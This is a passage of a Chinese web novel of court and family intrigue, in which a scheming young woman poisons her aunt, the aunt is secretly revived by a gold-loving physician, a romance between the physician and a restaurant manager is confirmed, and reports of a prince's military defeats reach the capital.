可即便是这样,吴氏仍然在府里上蹿下跳,挑刺,给她找不痛快,她可真是忍了许久了。 吴氏挨了一巴掌,不喊痛,反而用仇视的眼神看着林氏母女,“贱人!你们害死了我的芙姐儿,给我等着,我定要你们偿命,即便活着杀不了你们,就是做鬼都不会放过你们的!” 周令宜闻言,嗤笑一声,缓缓上前,用帕子隔着手捏起吴氏的下巴,轻声道:“你放心,周令芙还没死。” 吴氏顿时一怔,眼中划过一抹惊喜。 “不过离死也不远了。”周令宜幽幽道。 “方才你本有机会求得祖母心软命我放她一命的,只可惜被你自己作没了。” 闻言,吴氏有一瞬间的迷茫,无措,随即拼命地往走令宜所在的方向扑去。 “宜姐儿,宜姐儿,是二婶的错,二婶口无遮拦,你放你芙姐姐一命好不好,二婶保证,只要你放你芙姐姐一命,二婶一定带她走得远远的,一定不会与你抢安王殿下的。” 在吴氏拼命的呐喊求饶声中,周令宜淡定的摇了摇头。 吴氏面色扭曲,嘶吼道:“周令宜,你若是敢害芙姐儿,我定要将你与安王的事情传得人尽皆知,到时看你们怎么与林府交代!” 第二百六十章拖去乱葬岗埋了 “你和周令芙还真是母女,都是一样的没脑子。”周令宜闻言冷笑道。 竟都拿这事来威胁她! 在吴氏略带疑惑的目光中,周令宜慢悠悠道:“周令芙那个蠢货,也几次放言,声称等林惜颜进安王府,掌管安王府的中馈后,要将我与殿下的事情戳破,要借林惜颜的手让我好看。”安慕小说网 吴氏闻言,还以为周令宜是被芙姐儿的话给拿捏住了,顿时笑出了声,“你知道就好,我告诉你,你若是再敢对芙姐儿做出些什么,即便芙姐儿被你困在王府内出不来,但她还有我这个娘在呢!” “你困得住芙姐儿却困不住我!” 吴氏脸上满是张狂的笑意。 周令宜听着这话却丝毫不恼,伸手替吴氏理了理有些凌乱的衣衫,脸上挂着盈盈的笑,道:“蠢货,你还真以为我是因着这个原因才留周令芙的命到现在?” 吴氏脸上的笑僵住。 什么意思? 周令宜站直身体,摆弄着手上刚刚做好的丹寇,漫不经心地道:“我之所以留她的命到现在,原因只有一个。” “我与殿下相识多年,眼下却为了殿下的大业,不得不将安王妃之位拱手相让。” “但凭什么,明明我也是世家贵女,我盼望多年的东西,凭什么她们都可以轻而易举地得到,就我不能!” 周令宜说到此处,面目都有些狰狞。 先是沈琼华,再是林惜颜……一个个的都觊觎她的东西! 周令宜缓了缓,这才接着道:“所以啊,我给林惜颜准备了一份大礼。” “你说,‘安王妃嫉妒成性,不能容人,新婚当晚逼死在安王府做侍妾的永宁伯府大小姐’这个消息够不够劲爆?” “如此一来,林惜颜这个安王妃的名声算是彻底毁了,便是连殿下也会厌恶她。” “林惜颜为了挽回殿下的心,还不得任由殿下予取予求。” “便是咱们永宁伯府也能从中捞到不少好处,能……” 周令宜话还未说完,吴氏便扑了上来,几个婆子加大了力道才将人又按了回去。 吴氏此刻心里真是恨透了周令宜,恨不能啖其肉,“毒妇!周令宜,你竟敢这样算计我的芙姐儿!用我芙姐儿的命给你们大房一家作筏子!” 周令宜用帕子掩住嘴后退了两步,笑道:“二婶,你这么激动做什么,我虽有私心,但也是为了我们永宁伯府好啊。” “我呸!这永宁伯府都是你们大房一家的,干我芙姐儿何事!周令宜,毒妇,你竟敢害我的芙姐儿,我明日就将你背地里与安王的那些事情都抖出去!” 吴氏一边破口大骂,一边奋力地挣扎,可她娇生惯养这么多年,如何能是这些婆子的对手,被摁得牢牢的。 身体动弹不得,嘴却没闲着,一波又一波难听的话从她嘴里骂出,成功让周令宜冷了脸。 周令宜一巴掌扇在了吴氏的脸上,吴氏整个人都愣住了,“你……你这个小贱蹄子!你无法无天了!我是你二婶,你竟敢打我!” 最后一句话时,屋子里都是吴氏的尖叫声。 周令宜冷笑一声,道:“呵!你还当你是永宁伯府的二夫人呢?还想将我与殿下的事情抖出去?” 吴氏身体一僵,“你……你什么意思……?” 吴氏神色肉眼可见的慌张了起来,像是猜到了周令宜想做什么,却又不敢相信。 她色厉内敛道:“周令宜!贱人!我是永宁伯府名正言顺的二夫人,你敢!” “你若是敢对我做什么,老夫人不会放过你的!” 林氏在一旁冷笑道:“吴氏,你还当这是十多年前的永宁侯府吗?你这个所谓的侄女在老夫人的心目中早就不重要了。” “眼下老夫人心中最重要的是永宁伯府的未来,是我儿周瑾林的前程,是我宜儿与安王殿下的婚事,至于你……呵,只生了一个当侍妾的女儿,竟到现在还没摆清自己的位置,真是愚不可及。” “不……不会的……”吴氏满脸惊惶地摇头,“我是老夫人的亲侄女,身上流着相同的血,老夫人不会不管我的,你这个外人知道什么!” 周令宜轻笑道:“这还得多谢了你啊,二婶。” 周令宜淡淡地解释道:“原本祖母还顾及着你的性命,想要留你一命,使得我的计划有些束手束脚……” “但你方才以下犯上,对祖母不敬,还害得祖母当众出丑,祖母已经放弃你的,任由我处置了。” “你……你放肆!你祖母那只是一时的气话,做不得真的。” “你若是敢害我,你二叔知晓了定会为我做主的。”吴氏嘴唇颤抖着道,最后一句话说得却没有那么有底气。 周令宜轻蔑一笑,“二婶,你在二叔心中是什么地位,您难道自己不清楚?再者,二叔连周令芙都任由我处置,还会在乎你?” 看着吴氏蓦然瞪大的双眼,周令宜道:“二叔早就知晓我对周令芙做的那些事,不过二叔可比你识时务多了。” “一个已经沦为废子的女儿与伯府将来的荣耀,与他加官进爵相比,孰轻孰重,二叔可清楚的很。” “很快便做出了选择,反正二叔也不止周令芙这一个女儿。” 吴氏的脸已经完全灰败了下去,她喃喃道:“畜生,畜生啊!” 虎毒还不食子,他怎么能这么做!芙儿也是他的女儿啊! 就在吴氏还沉浸在自己的情绪当中时,周令宜眼一扫,一旁的婢女立刻会意将早就准备好的汤药端了上来。 周令宜端过药碗,一步一步走向吴氏。 吴氏惊惶地向后躲,可身后压着她的那些婆子却死死压着她。 “你要做什么!你要做什么!不可以!不要!” 周令宜那双漆黑的瞳孔中映出了吴氏的惊恐,她笑着道:“二婶放心,很快的,只要喝下了它,你就彻底解脱了。” “不要——”吴氏还在尖叫,周令宜就已经命人掰开她的嘴巴,亲自将汤药灌了进去。 褐色的汤药晃晃悠悠的,有些倾洒在了周令宜保养得白皙鲜嫩的手上,即便吴氏再如何挣扎,一碗汤药也有大半进了嘴中。 一碗汤药见底,周令宜将碗一摔,瓷片四溅。 一直抓着吴氏的嬷嬷松了手,吴氏倒在地上,如同死鱼一样地苟延残喘着,随即便将手伸进嘴中扣嗓子眼,想要将方才喝下去的那些汤药吐出来。 周令宜冷眼看着吴氏那无谓的挣扎,直至吴氏的动作越来越迟缓,眼神越来越涣散,随后一口血喷了出来。 吴氏似乎停顿了一瞬,随后,咽了咽口水,身体朝大门的方向慢慢挪动,艰难道:“芙……芙姐儿……女……儿……” “二婶放心,你既然这么放心不下周令芙,我很快就会让她下去陪你的。”周令宜弯唇道。 随着周令宜这句话落下,吴氏的头猛地垂下,彻底没了生息。 可眼睛仍是睁得大大的,似乎是死不瞑目一般。 屋内一时安静得可怕,周围的下人都噤若寒蝉,连呼吸都不敢大声,生怕会落得跟吴氏一样的下场。 半晌后,周令宜才幽幽道:“吴氏的尸体……拿个东西一裹,拖去乱葬岗埋了吧。” 下人们闻言,具都不可置信地看向周令宜。 这可是永宁伯府的二夫人,就这么随意处置? 可是触及周令宜冰冷的眼神,却没有人提出异议。 二小姐连二夫人都敢杀,更何况他们这些下人呢。 “是,奴才遵命!” 几个下人连忙上前将吴氏的尸体拖了下去。 第二百六十二章安锦怎么会看上裴凉川? 半夜从被窝里被薅起来救人,裴凉川心中委实有些不好受。 沈琼华正蹙着眉头思考着什么,闻言,把玩着手边的金元宝,道:“裴神医不需要知道我从哪儿找来的人,你只消告诉我她还有没有救。” 裴凉川看着沈琼华手中那如成人拳头般大小的金元宝,笑得眼睛都看不见了。 “有!怎么没有,我裴凉川是何人,只要有金子,一只脚踏进鬼门关的人我也能给你拉回来。” 说完,又往屏风里头冲了进去。 沈琼华看向一旁的安锦,轻轻唤了一声,“安锦。” 安锦这才将视线从屏风上移开,上前一步道:“小姐可是有何吩咐?” 沈琼华道:“你明日还要去食鼎楼,不如先去睡吧,不必陪我在这等。” 安锦摇了摇头道:“小姐放心,安锦没事的,食鼎楼现如今已经步入正轨,后厨的事情已经不需要安锦了,安锦只需算算账。” 沈琼华见她坚持,也没有再说什么了。 一直到寅时,里面的动静才停下,裴凉川顶着一头汗出来,身上的青色衣衫袖口已经被血水打湿,行动间颇有些狼狈。 沈琼华上前问道:“裴神医,如何?” 听见沈琼华的问话,裴凉川忍住将袖子卸下来的冲动,仰起头,得意道:“有我出马,自然能保住性命。” 沈琼华松了一口气,“那就好,那就好,我方才看呕出了那么多血,还以为没救了呢。” 裴凉川道:“幸亏你送来的及时,我及时施针让其将喝进的药汁吐了出来,虽然只吐出来了大半,仍有少部分药汁被身体吸收,但也还有救。” “你别看她方才呕了那么多血,那是因为药汁吐完了,那少部分被身体吸收的药汁在体内作祟,她方才吐出来的血里都混有了那药汁。” “只有吐出来了,才能保住性命。” “若是再等个个把时辰的,药汁完全吸收了,到那时才真实神仙难救了。” 沈琼华不懂医术,但裴凉川既这样说了,有他在一旁守着,应当不会再出什么问题。 她刚想开口让裴凉川去休息一会儿,稍后将诊金奉上,便见裴凉川及其自然地走向安锦,对着安锦低语着什么。 随后安锦瞥了他一眼,朝一旁的衣橱走去,翻出了一件暗紫色的衣裳扔到了裴凉川的怀中。 那衣裳的样式与花纹一看便知是男子的衣裳。 沈琼华:“……” 她似乎遗漏了什么。 自方才开始沈琼华便一直觉着自己忽略了一件事情,却怎么都想不起来。 直到现在看到安锦与裴凉川的互动,沈琼华这才恍然大悟。 这处小宅院是沈家名下的,环境清幽,陈设精致。 因着离食鼎楼近,只需一炷香的时间便可到食鼎楼,于是在买下酒楼之后,还在弄陈设时,沈琼华便做主将这处宅院拨给安锦居住。 而今日之所以来这里,便是想着安锦知晓裴凉川的住处,能以最快的速度救人。 想到这,沈琼华突然想起了一件被她忽略的问题:她为什么会认为安锦知晓裴凉川在哪? 沈琼华仔细回想了一下,好似是安王想对食鼎楼出手那会,裴凉川便表现出了与安锦不一般的亲昵。 尤其是听说安王想让安锦入安王府为妾时,裴凉川表现得特别气愤,甚至比安锦还生气,还放言想要给安王一点颜色瞧瞧,想要用毒粉毒晕安王。m.xfanjia 后来瑞王夜闯她的闺房,她气不过,便让芍药去找安锦,她想着安锦既然与裴凉川有联系,那自然知道该让芍药去那找裴凉川。 后来,芍药确实将药带回来了,那药裴凉川甚至只要了一半的金子…… 沈琼华后知后觉的反应过来,难怪…… 难怪一毛不拔,视金子如命的裴神医突然一反常态,送到荷包口的金子都不要,原来是因为这个原因。 她当时只觉得裴凉川有些反常,只是当时,她一心想着要给瑞王一个终身难忘的教训,忽略了这些细枝末节。 因着上一回通过安锦,芍药找到了裴凉川,所以这一回发现吴氏性命垂危时,便下意识将人带到这边来了。 眼下看到从安锦衣橱中拿出的男子的衣裳,沈琼华忽然又想起一件事情来。 当时兵荒马乱的将吴氏带进来后,让芍药跟着安锦去将裴凉川请来。 裴凉川可是连一炷香都没到就出现在了院子里,可见住的地方离这小院有多近…… 裴凉川在沈琼华神游天外之际,便已经以最快的速度换好了衣裳,重新回到了屋中。 这下不用说了,这衣裳如此合身,必定是裴凉川的衣裳,要不就是安锦特意为裴凉川缝制的衣裳。 这两种情况不管是哪一种,都足以证明这两人之间的关系了。 沈琼华迟疑地开口道:“安锦……你与裴神医这是……” 安锦脸蛋有些红,虽然她也没想着要瞒着小姐,但小姐主动问起来,她还是有些害羞。 “小……小姐……”安锦支支吾吾的,白日里在食鼎楼里风风火火的安掌柜,此刻倒羞得连句话都说不明白。 这时,裴凉川的脸皮便要比安锦厚多了。 只见他笑嘻嘻道:“沈小姐,我与安锦互有好感,我俩的事还多亏了沈小姐,若不是沈小姐,我俩都不一定能认识呢。” 沈琼华:“……” 她突然有些后悔当初让裴凉川医治安锦了…… 安锦帮着沈琼华将食鼎楼发展壮大至如今地步,食鼎楼甚至一跃成为沈家名下除去珍宝阁外盈利最多的产业。 任劳任怨,又从无二心,在沈琼华的心目中,她与安锦早就不是东家与掌柜的关系了,而是与芍药等人一样,不是亲人,胜似亲人的关系。 此刻,经历过突如其来的暴击,沈琼华现在看裴凉川的眼神不自觉就带着几分打量与挑剔,就像那老母亲初次看毛脚女婿一样,怎么看都有一些不顺眼。 裴凉川……长得还行,个子也还算高,养家的能力嘛……看那高额的诊金,应当也养得起家…… 但安锦长得也是一副闭月羞花之姿,长得好看,厨艺又是一绝,为人处世大大方方的,能力也强,一个人能将偌大的食鼎楼管理得井井有条。 虽说安锦并没有接受她之前给的食鼎楼份额,但沈琼华早就打定主意,等安锦出嫁之日,便将那份额连带着这段时间安锦应得的银子当做添妆放进安锦压箱底的嫁妆中, 因此在沈琼华心目中,论财力,安锦可不比裴凉川差,身外之物上安锦可没有比裴凉川矮一头。 倒是这裴凉川,虽说是个神医,却没有个神医的样子,一身黄金打扮,要多招摇有多招摇。 还有那吊儿郎当的性子与那奇厚的脸皮与安锦的沉稳一点都不一样。 安锦怎么会看上裴凉川? 两人的性格根本就不一样啊? 沈琼华心中浮现这个疑问。 第二百六十三章才不像谢南渊一样磨磨唧唧的 裴凉川被沈琼华这眼神看得心里毛毛的,总觉得沈琼华看向他的每个眼神都饱含深意。 可是他也不能躲啊。 谁让他身边的这个女人说什么沈琼华是她的再生父母,他若是想娶她,必须要沈琼华点头。 裴凉川头一次听的时候,差点摔碗。 什么时候他裴凉川的未来不是系在了他未来媳妇的身上,而是系在了一个毫无血缘关系的东家身上? 犹记得他当初还是被沈琼华给请进京的。 如今才短短一年多的时间,他倒是与沈琼华的位置掉了个个,变成他有求于沈琼华了? 偏偏这个女人主意还争正的很,一定要沈琼华同意才行,说什么她的命不是自己的,是沈琼华的。 就为这,上回沈琼华派人来找他拿药,他都只敢收一半的金子。 等人走后,他心里那个悔呀。 他怎么就看上了这么一个死心眼的女人! 要说裴凉川是何时喜欢上安锦的,裴凉川自己都不清楚。 遥想当初,他不过是因为沈琼华给金子请他去给安锦看伤,与安锦有过几面之缘。 安锦那时都是皮外伤,相较于谢南渊身中混毒,两者根本就没有可比性。 他当时还嘲笑沈琼华傻呢,安锦的伤外头随便一个郎中就能治,沈琼华却偏偏要花大价钱请他来给安锦。 如此钱多事少的活,傻子才会拒绝,他当然是欣然应下。 那时,他也没觉得安锦在他心中有何特别。 后来,传闻京城中有一家新开的酒楼横空出世,糕点特别的好吃,但是特别贵。 他醉心于医术,平时除了金子,也就贪点口腹之欲。 想着不过是糕点出名,几碟子点心而已,能有多贵。 第一次去价格都没看,结果结账的时候,连他这种不看白银,只看金子的人都觉得有些肉痛。 结了账,他哪都没去,看着酒楼里熙熙攘攘的食客,觉着这酒楼可真会挣银子啊,比他这个所谓的神医还能挣。 这随意一瞟,正巧看见了在人群中长袖善舞的安锦。 后来多番打听,再结合之前他给安锦治伤的经历,这才搞清楚了来龙去脉。 一开始,他只是想将安锦挖走,与他一起合伙做生意,开酒楼。 他也不知晓当时一向对做生意不敢兴趣的他为何突然想做生意了,或许真是为了挣银子?觉着开酒楼比他给人看病挣得还多? 反正只是他想,就随心而做了。 哪知第一步就受挫了。 安锦这个女人简直就是冥顽不灵,水泼不进,仿佛脑子进水了一般,任他说得天花乱坠,甚至利诱,她都只认沈琼华。 那段时间简直是气得他牙痒痒。 他这个人一向脸皮厚的很,那时他给谢南渊看病呢,知道食鼎楼是沈家的产业,也不要沈琼华派人准备别的饭菜,跑去跟沈琼华说就要吃食鼎楼的饭菜。 食鼎楼的饭菜又贵又好吃,花样还多,相比起下人送来的其他酒楼的饭菜,傻子也知道怎么选。 更何况他那时还没死心,还想着要说服安锦与他一起做生意。 于是开始整日的泡在食鼎楼。 反正沈琼华包了他的一日三餐,他也懒得来回跑了,毫不客气地让安锦划了一个包厢给他。 用完膳就坐在窗边盯着安锦,看着她在下面长袖善舞,看着她在下面赔笑脸,看着忙忙碌碌的身影。 只要她一有空闲,他求下楼去缠着安锦,想要说服她与他一起开酒楼。 他也不知晓从什么时候开始,看着看着就看进了心里。 是什么时候发觉的呢? 是有一次,他用完膳食坐在窗边,有一个富商喝醉了,竟敢摸安锦的手,还说想要娶安锦进门做他的第七房小妾。 安锦所在的食鼎楼在京城的酒楼中是什么分量,大家伙都心知肚明。 安锦长得好,又有本事,早就有不少人觊觎,但谁也不清楚这食鼎楼的东家是何背景,因此谁也不敢对安锦动手动脚。 但也有那色心不死的,想借着醉酒占占便宜。 反正人喝醉了,做出什么事情也不是发自本心的嘛,那么计较做什么。 开酒楼的,事事都计较,那这生意还要不要做了! 那日的富商就是抱着这种心理,才大着胆子摸了一下。 当时裴凉川倚在窗边看了个一清二楚,当时脑子‘轰’地一声便炸了。 他想都没多想,直接踹开了包厢房门,冲下楼,一脚踹翻了那富商。 事后,安锦感谢了他,那是继他提出合伙开酒楼后,安锦给他的第一个笑脸,他心里得意极了。 于是顺势提出了开酒楼,毫无意外,又被拒绝了,他心中那个气呀。 谁知安锦又问了他一个问题。 安锦问他,既然他这么喜欢金子,明知她不可能同意与他离开去开酒楼,为何不多去帮人治病挣金子,要将时间浪费在食鼎楼上呢? 这句话让裴凉川如梦初醒,却又百思不得其解。 他抱着这样的疑问回了东来阁的包房,一夜未睡。 在天边露出第一抹白时,他终于想通了。 原来他待在食鼎楼不肯离去,不是为了金子,而是因为安锦。 他喜欢上安锦了? 这个念头一出来,裴凉川并未被吓到,而是很快就接受了。 他觉得安锦挺好的,长得好看,又有能力,厨艺又好,他与安锦在一起也不用整日想着将人挖走,每日都能吃到好吃的糕点。 即便是糕点安锦说要花银子也没关系,他若是与安锦成了夫妻,那银子不过就是从左口袋出,从右口袋进,还是他家的。 裴凉川是个行动派,才不像谢南渊一样磨磨唧唧的,有时候裴凉川看着谢南渊那副别扭的样子都头大。 确定了自己的心意,很快就对安锦展开了追求。 第二百六十四章沈家永远是你的依靠 刚开始,安锦还没察觉到裴凉川的心思,只觉得裴凉川对于想说服她一起去江南开酒楼这件事情还没死心,见从前死缠烂打那招不行,换了新手段。 后来渐渐地,安锦就察觉到不对劲了。 以前裴凉川虽然也总待在食鼎楼,却是在二楼的包房里头当大爷。 哪像现在,会在安锦忙不过来时搭把手,帮忙拿拿酒,算算账,也会在夜里食鼎楼歇业之后,以‘天黑了一个姑娘家回去不安全’为理由送安锦回宅院。 那时她还未对裴凉川动心,再者裴凉川是沈琼华请来的,便装作不知晓。 但人心又不是石头做的,裴凉川一个医术高明的医者能放下身段,周而复始地为她做这些事,安锦不是不感动。 可感动之后,她却愈发不敢回应。 别人不知晓她从前的经历,她自己却是心知肚明。 她被卖进过青楼,即便她抵死顽抗,从春妈妈手里逃走,运气好被小姐救了下来,保住了清白,却也不能磨灭她曾经进过青楼的事实。 便是寻常人家都接受不了她的经历,又更何况是裴凉川呢。 裴凉川虽然不是世家公子,也不是商户人家出身,但能被人称得上一声神医,也是不简单的。 她曾经听茯苓说过,裴凉川是小姐花重金请到京城来的。 这样的人,她如何能配得上。 至于说当妾,安锦是没有想过的。 她好不容易才从春妈妈手里逃脱,恢复自由身,岂能为了一个男人,放弃现在的一切,重新沦落到过那种仰人鼻息的日子。 安锦想得很清楚,不就是一个男人嘛,天下男人又不是死绝了,没必要,真没必要。 想清楚后,安锦便开始躲着裴凉川。 而裴凉川又是个没脸没皮,有什么就说什么的性子,察觉到安锦开始躲着他后,他立刻便将两人之间的遮羞布给撕开,将话给挑明了。 那时正好碰上安王以安锦从前的经历威胁她的时候,安锦便想着干脆将这件事情告知于裴凉川,让他知难而退。 免得到时浪费了时间,闹得双方脸上都不好看。 谁知说完后,裴凉川的反应出乎了安锦的意外。 裴凉川颇为光棍的表示,他爹娘都早早地离世了,裴家如今就他一人,没那么多讲究,只要他喜欢就成,并且对安王想纳安锦为妾一事表示愤怒。 既然都说开了,二人互有好感,裴凉川也不介意安锦的那些经历,两人便开始相处起来。 沈琼华来食鼎楼见安王那日,二人才刚刚说开关系不久。 后来,随着相处的机会多了起来,裴凉川便得寸进尺,租下了旁边的宅子,开始每日与安锦同进同出。 正因为住得近,裴凉川这才能及时赶过来救人。 沈琼华摸着下巴,一会儿看看裴凉川,一会儿看看安锦,轻声道:“你们两个来真的?” 这话问得安锦一愣,随即红着脸点点头。 裴凉川笑呵呵道:“沈小姐,你这话说的,这种事情还能来假的吗?” “若不是安锦现在还不想成婚,您现在说不定都能参加我们的喜宴了。” 说到这个,裴凉川就很是郁闷,他本来想着两人相处一段时间就能成婚了。 没想到安锦说不急,她要先将食鼎楼发扬壮大,不能辜负沈琼华的信任。 喜宴? 这么快? 安锦与裴凉川也没认识多久吧? 满打满算也就一年? 相熟也不到半年吧? 沈琼华顿时就看向了安锦,“你想清楚了?” 沈琼华是想问问安锦已经确定是裴凉川了吗,哪知安锦会错了意,还以为沈琼华不满意裴凉川。 她咬着唇道:“小姐觉得不妥?” 那语气仿佛只要沈琼华说一个不字,她就真的会与裴凉川分开一般。 吓得裴凉川连忙插话,“唉唉唉,沈小姐,裴某未曾得罪过你吧?上回芍药姑娘来拿药,我可只收了一半的金子。” 裴凉川也不想表现得这么怂,可是没办法,他知晓安锦对沈琼华有多敬重。 沈琼华若是不同意,安锦真的能做出立马与他分开这种事。 沈琼华见裴凉川差点跳脚的样子,心里也安心了不少。 看来安锦在裴凉川在心中分量还是很重的,不然也不至于这么紧张。 那就好,那就好啊。 裴凉川这人性子虽然跳脱了一些,爱财了一些,但大体上是一个靠谱的人。 上回安王威胁安锦那件事,裴凉川是知晓了安锦从前的经历的。 沈琼华虽然觉得从前那些事不是安锦的错,安锦也是一个受害者,但架不住别人不是这么想的。 裴凉川知晓了那些经历,却仍对安锦这般紧张,可见是不放在心中,是不介意的。 这对安锦来说也是一件好事。 如今这二人两情相悦,只要裴凉川对安锦好,她又有什么理由阻止呢。 沈琼华拍了拍安锦的手,安抚道:“跟随你自己的心就好,沈家永远是你的依靠,若是他敢欺负你,你就与我说。” “小姐……” 一句话,说得安锦泪眼汪汪的,强忍这才没有流出眼泪来。 沈琼华又看向裴凉川,道:“裴神医,安锦虽然是食鼎楼的掌柜,却也是我沈家的人,是我沈家的一份子,你将来可不能欺负她,不然……” 剩下的话,沈琼华没有说,裴凉川却听懂了。 他很郑重地点了点头,“放心吧,沈小姐,我会对她好的。” 沈琼华朝芍药使了个眼色,芍药立刻上前,又从袖中掏出一块金锭子,连同手上的金子一同递给裴凉川。 “裴神医,这是这次的诊金。” 裴凉川双眼一亮,兴奋地搓了搓手就要接过,却接收到了安锦投来的隐晦的眼神。 裴凉川伸出去的手立刻便缩了回来,做推拒状,“不用,不用,沈小姐。” 嘴上说着,手上推拒着,眼睛却直勾勾盯着。 沈琼华瞥了一眼安锦,安锦立刻收回目光。 沈琼华笑着道:“裴神医收下便是,这里头还有上一回从你那拿药没收的一半金子。” “你如今虽与沈府关系更近了一些,但一码归一码,有些事情还是算清楚的比较好。” “对你,对我,对安锦都好。” “这……这……这怎么好,大家都这么熟了。”裴凉川一边挣扎,一边看安锦的眼色。 沈琼华轻笑道:“裴神医不必怕安锦生气,这金子你必须收下,今后若是请你出手,也会按照正常收费付你金子的。” “再说了,你今后既是要与安锦成婚,那就更要收下了,没银子怎么养家?” 沈琼华之所以坚持要给,连带着上一次的金子都一起补上,就是不想拿人手短。 不然若是以后裴凉川欺负安锦,沈琼华都不好找人教训裴凉川。 她沈家又不差这点金子,何必平白让安锦在裴凉川面前矮一截。 话都说到这个份上了,眼看安锦也默许了,裴凉川就笑着收下了。 第二百六十五章败仗 安锦的事情说完了,沈琼华又问了一些吴氏的情况。 知晓吴氏已经无大碍,大部分的毒都已经被逼了出来。 此后半个月,每三日需要裴凉川来施针一次,再配合汤药服下,将余毒逼出。 只是经此一遭,吴氏身体虚得很,需要好好卧床养一段时间。 沈琼华这才彻底放下心。 折腾了一晚上,眼看着天都要亮了,每个人眼底都一片青黑。 沈琼华让安锦和裴凉川赶紧去回去休息,随后便也带着芍药离开了小院。 至于吴氏,她残毒未清,还需要裴凉川,自然是留在院中最为方便。 反正这宅院也够大,平时只安锦一个人住,多一个人也不会打扰了安锦。 沈琼华留下了一个婢女帮忙,又留下了两个暗卫专门看守吴氏,等吴氏醒来后,严格监控她的一举一动,决不能让她出去。 回程的马车上。 芍药坐在沈琼华身侧给沈琼华揉着额头,忍了又忍,终究还是没忍住将心中的疑问问出了口。 “小姐,永宁伯府那么过分,吴氏与周令芙也没少与您作对,您为什么要救吴氏?” 难道是看周令芙被周令宜凌虐,觉得周令芙可怜? 小姐应当还没有这么心软吧? 沈琼华睁开眼睛,轻笑着点了点芍药的头,道:“我救她自然有我的用处,只不过我反倒希望是我多此一举了。” 沈琼华并没有明说原因,眼下还早,她不能确定事情是否会如她预料那般发展,有些话自然不能说得太满。 沈琼华没有明说,芍药也没有再问。 左右小姐有自己的打算,她问了也帮不上什么忙。 天蒙蒙亮,已经有少部分的百姓出门了。 马车略过小巷,在沈府的偏门停下,沈琼华与芍药一起搀扶着下了马车,主仆二人回到府里一起睡了个昏天黑地。 接下来的一段时间,京城内很是安静。 起码表面是是如此。 安王不在京中,安王一党便是想做些什么,正主不在,也不得劲。 而谢南渊本就不喜欢搞这些党争,如今安王一党消停了些,他人在京中,心思却早已飘过了万重千山,落在了千里之外的战场上。 平时除了处理好皇上交代的事情与公务,就是时不时想法子见沈琼华一面。 好在安王在前线打胜仗的消息不断传来,安王一党欢呼雀跃,扬眉吐气的同时,谢南渊与沈琼华也松了一口气。 虽然立场不一样,甚至是仇敌,但边关百姓是无辜的,沈琼华还不至于天天盼着安王打败仗。 倒是林府……哦不……应该是说是将来的准安王妃林惜颜最近很是张扬,每次前线打了胜仗,她都要摆宴席。 还特地每次都让人送帖子到沈家,邀请沈琼华前去,那来送帖子的下人的口气,仿佛沈琼华不去就是不将他们大小姐放在眼里。 对此,沈琼华嗤之以鼻,她连安王都不放在眼里,更何况林惜颜这个只知道寻欢作乐的大小姐。 帖子收了,照样不去,反正她如今品阶比林惜颜高,林惜颜也奈何不了她。 永宁伯府连带着周令宜沾了战事顺利的光,最近也好过了不少,林惜颜筹备的宴席也没少参加。 直到后来,爆出吴氏‘病逝’的消息,永宁伯府这才又低调了下来。 毕竟也是要做做样子的,免得落人话柄。 这期间,沈琼华出过几次门,每一次都与林惜颜碰上了。 因着安王此番立功,林大将军也收获不少,林惜颜整个人都抖了起来,一心想要找回上次的面子。 然而无论她做什么,沈琼华就是不接招,只当她在放屁。 这让林惜颜气得跳脚的同时,又无可奈何。 碰上的次数太多,暗一暗中探查了一番,沈琼华这才知晓,原来林惜颜派人盯着沈家。 只要她一出门就有人去林家给她报信。 对此,沈琼华很是有些无语。 这心眼也着实太小了一些。 后来,沈琼华便不出门了,即便是有要事要出门也是让暗一带她翻墙出去,甚至好几次用这个理由拒绝谢南渊邀她出来相见。 这倒是让谢南渊很是郁闷。 不能偷偷翻墙,邀人又邀不出来。 但是后来谢南渊学聪明了。 他给沈琼华写信,前头用边关战局的消息吊着沈琼华,说到关键之处又断了,表示要与沈琼华当面说,能否同意他今夜翻沈府的墙。 临泽将心送去沈府的时候,脸上都躁得慌。 觉得自家王爷实在是太不要脸了,居然想出这么个主意。 沈琼华收到信还能说什么。 谢南渊既没有偷偷翻墙不尊重她,也没有硬逼着她同意。 甚至还写信来问她同不同意他翻墙。 她可以拒绝的。 只要她能忍住不好奇。 沈琼华忍不住龇牙,这分明就是阳谋,可偏偏她心甘情愿往里跳。 于是每次边关一有消息,谢南渊夜里便能心安理得地出入沈府。 和谐的气氛让谢南渊觉得,他此前简直是用错了方法。 就在一切都这么和谐的时候,一封前线的战报打破了京中乃至朝堂的平静。 那是安王出征以来的第一场败仗。 后来紧接着是第二场,第三场…… 接二连三的败仗,仿佛之前已经收复三座城池的军队突然变得不堪一击了起来。 第二百六十六章乌鸦嘴 “琼华,你听说了吗?边关又打了败仗,之前收复的那三座城池又重新沦落进陈国的手中,皇上这几日在朝堂之上都发了怒。” 一大早,洛希瑶便来到了沈府,与沈琼华一起关在屋中议论此事。 近日整个京中都风声鹤唳,洛希瑶也是好不容易才从镇国公府溜出来,来找沈琼华的。 沈琼华顿了顿,这才蹙眉点头道:“听说了。” 这段时间,她几乎每日都与瑞王商讨过此事。 只是打仗这种事情,皇上又不是派的瑞王出征,她与瑞王干着急也没用。 洛希瑶顿时来了精神,她压低声音说,“皇上又收到了战报,听说边关又打了败仗,丢了两座城池。” 沈琼华双眼瞪大,被唬了一跳,问道:“真的假的,你听谁说的?” 瑞王昨晚从沈府离开时,可没与她说过这事。 洛希瑶没好气地翻了个白眼,道:“我还能骗你不成,战报是今早传入皇宫的,我是从我爹那得来的消息。” “至于是真是假,等早朝结束你就知道了,这可是新鲜出炉的消息,我爹也是在出门上朝的前一刻才知晓的。” 听到洛希瑶这样说,沈琼华就知晓这消息八九不离十是真的了。 原来是今早才传来的,那怪瑞王昨夜没有与她提及此事。 沈琼华心中很是焦灼,这原本就丢了三座城池,再丢两座,可就一共丢了五座城池了。 也不知会有多少百姓会因为这场战事流离失所。 洛希瑶心中有些怪异,她道:“琼华,你说这奇不奇怪,之前安王刚上战场那会儿简直是屡战屡胜,立了不少战功,京中安王一党的人都还吹嘘,安王有帅才,领兵打仗的本事不比表哥差。” “结果这才过了多久,怎么就兵败如山倒了?这领兵打仗的本事也不是一会儿有一会儿没有吧?” 也不怪洛希瑶觉得奇怪,实在是安王的战报委实有些怪异。 都说胜负乃兵家常事,但像安王这样前面十多场交锋都胜,一场败绩也无,呈势如破竹之势,陡然间急转直下,打一场就败一场,一泻千里。 这样的情况别说洛希瑶了,便是镇国公也在心里暗自嘀咕。 面对洛希瑶的疑惑,沈琼华也无法解答。 